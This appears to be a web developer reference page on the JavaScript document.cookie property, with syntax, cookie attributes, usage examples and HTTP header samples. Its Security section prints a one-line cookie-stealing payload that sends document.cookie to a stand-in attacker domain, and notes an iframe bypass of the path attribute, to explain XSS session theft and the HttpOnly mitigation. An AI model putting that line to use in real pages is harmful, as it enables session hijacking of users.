Document: cookie property

The Document property cookie lets you read and write cookies associated with the document. It serves as a getter and setter for the actual values of the cookies.

Syntax

Read all cookies accessible from this location

js
allCookies = document.cookie;

In the code above allCookies is a string containing a semicolon-separated list of all cookies (i.e. key=value pairs). Note that each key and value may be surrounded by whitespace (space and tab characters): in fact, RFC 6265 mandates a single space after each semicolon, but some user agents may not abide by this.

js
document.cookie = newCookie;

In the code above, newCookie is a string of form key=value, specifying the cookie to set/update. Note that you can only set/update a single cookie at a time using this method. Consider also that:

  • Any of the following cookie attribute values can optionally follow the key-value pair, each preceded by a semicolon separator:

    • ;domain=domain (e.g., example.com or subdomain.example.com): The host to which the cookie will be sent. If not specified, this defaults to the host portion of the current document location and the cookie is not available on subdomains. If a domain is specified, subdomains are always included. Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots.

      Note: The domain must match the domain of the JavaScript origin. Setting cookies to foreign domains will be silently ignored.

    • ;expires=date-in-UTCString-format: The expiry date of the cookie. If neither expires nor max-age is specified, it will expire at the end of session.

      Warning: When user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it. Many browsers let users specify that cookies should never expire, which is not necessarily safe.

      See Date.toUTCString() for help formatting this value.

    • ;max-age=max-age-in-seconds: The maximum age of the cookie in seconds (e.g., 60*60*24*365 or 31536000 for a year).

    • ;partitioned: Indicates that the cookie should be stored using partitioned storage. See Cookies Having Independent Partitioned State (CHIPS) for more details.

    • ;path=path: The value of the cookie's Path attribute (See Define where cookies are sent for more information).

    • ;samesite: The SameSite attribute of a Set-Cookie header can be set by a server to specify when the cookie will be sent. Possible values are lax, strict or none (see also Controlling third-party cookies with SameSite).

      • The lax value will send the cookie for all same-site requests and top-level navigation GET requests. This is sufficient for user tracking, but it will prevent many Cross-Site Request Forgery (CSRF) attacks. This is the default value in modern browsers.
      • The strict value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link.
      • The none value explicitly states no restrictions will be applied. The cookie will be sent in all requests—both cross-site and same-site.

    • ;secure: Specifies that the cookie should only be transmitted over a secure protocol.

  • The cookie value string can use encodeURIComponent() to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).

  • Some user agent implementations support the following cookie prefixes:

    • __Secure- Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.
    • __Host- Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.

    Note: The dash is considered part of the prefix.

    Note: These flags are only settable with the secure attribute.

Note: As you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.

Examples

Example 1: Simple usage

js
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "name=Oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";

function showCookies() {
  const output = document.getElementById("cookies");
  output.textContent = `> ${document.cookie}`;
}

function clearOutputCookies() {
  const output = document.getElementById("cookies");
  output.textContent = "";
}
html
<button onclick="showCookies()">Show cookies</button>

<button onclick="clearOutputCookies()">Clear</button>

<div>
  <code id="cookies"></code>
</div>
js
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "test1=Hello; SameSite=None; Secure";
document.cookie = "test2=World; SameSite=None; Secure";

const cookieValue = document.cookie
  .split("; ")
  .find((row) => row.startsWith("test2="))
  ?.split("=")[1];

function showCookieValue() {
  const output = document.getElementById("cookie-value");
  output.textContent = `> ${cookieValue}`;
}

function clearOutputCookieValue() {
  const output = document.getElementById("cookie-value");
  output.textContent = "";
}
html
<button onclick="showCookieValue()">Show cookie value</button>

<button onclick="clearOutputCookieValue()">Clear</button>

<div>
  <code id="cookie-value"></code>
</div>

Example 3: Do something only once

In order to use the following code, please replace all occurrences of the word doSomethingOnlyOnce (the name of the cookie) with a custom name.

js
function doOnce() {
  if (
    !document.cookie
      .split("; ")
      .find((row) => row.startsWith("doSomethingOnlyOnce"))
  ) {
    // Note that we are setting `SameSite=None;` in this example because the example
    // needs to work cross-origin.
    // It is more common not to set the `SameSite` attribute, which results in the default,
    // and more secure, value of `SameSite=Lax;`
    document.cookie =
      "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";

    const output = document.getElementById("do-once");
    output.textContent = "> Do something here!";
  }
}

function clearOutputDoOnce() {
  const output = document.getElementById("do-once");
  output.textContent = "";
}
html
<button onclick="doOnce()">Only do something once</button>

<button onclick="clearOutputDoOnce()">Clear</button>

<div>
  <code id="do-once"></code>
</div>
js
function resetOnce() {
  // Note that we are setting `SameSite=None;` in this example because the example
  // needs to work cross-origin.
  // It is more common not to set the `SameSite` attribute, which results in the default,
  // and more secure, value of `SameSite=Lax;`
  document.cookie =
    "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure";

  const output = document.getElementById("reset-once");
  output.textContent = "> Reset!";
}

function clearOutputResetOnce() {
  const output = document.getElementById("reset-once");
  output.textContent = "";
}
html
<button onclick="resetOnce()">Reset only once cookie</button>

<button onclick="clearOutputResetOnce()">Clear</button>

<div>
  <code id="reset-once"></code>
</div>
js
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "reader=1; SameSite=None; Secure";

function checkACookieExists() {
  if (
    document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
  ) {
    const output = document.getElementById("a-cookie-existence");
    output.textContent = '> The cookie "reader" exists';
  }
}

function clearOutputACookieExists() {
  const output = document.getElementById("a-cookie-existence");
  output.textContent = "";
}
html
<button onclick="checkACookieExists()">Check a cookie exists</button>

<button onclick="clearOutputACookieExists()">Clear</button>

<div>
  <code id="a-cookie-existence"></code>
</div>
js
function checkCookieHasASpecificValue() {
  if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {
    const output = document.getElementById("a-specific-value-of-the-cookie");
    output.textContent = '> The cookie "reader" has a value of "1"';
  }
}

function clearASpecificValueOfTheCookie() {
  const output = document.getElementById("a-specific-value-of-the-cookie");
  output.textContent = "";
}
html
<button onclick="checkCookieHasASpecificValue()">
  Check that a cookie has a specific value
</button>

<button onclick="clearASpecificValueOfTheCookie()">Clear</button>

<div>
  <code id="a-specific-value-of-the-cookie"></code>
</div>

Security

It is important to note that the path attribute does not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden <iframe> element with the path of the cookie, then accessing this iframe's contentDocument.cookie property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.

Cookies are often used in web applications to identify a user and their authenticated session. Stealing a cookie from a web application leads to hijacking the authenticated user's session. Common ways to steal cookies include using social engineering or by exploiting a cross-site scripting (XSS) vulnerability in the application -

js
new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript. Read more about Cookies and Security.

Notes

  • Starting with Firefox 2, a better mechanism for client-side storage is available - WHATWG DOM Storage.
  • You can delete a cookie by updating its expiration time to zero.
  • Keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use WHATWG DOM Storage if you are going to keep "client-only" data.
  • RFC 2965 (Section 5.3, "Implementation Limits") specifies that there should be no maximum length of a cookie's key or value size, and encourages implementations to support arbitrarily large cookies. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.

The reason for the syntax of the document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):

bash
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT

[content of the page here]

The client sends back to the server its cookies previously stored

bash
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*

Specifications

Specification
HTML Standard
# dom-document-cookie

Browser compatibility

BCD tables only load in the browser

See also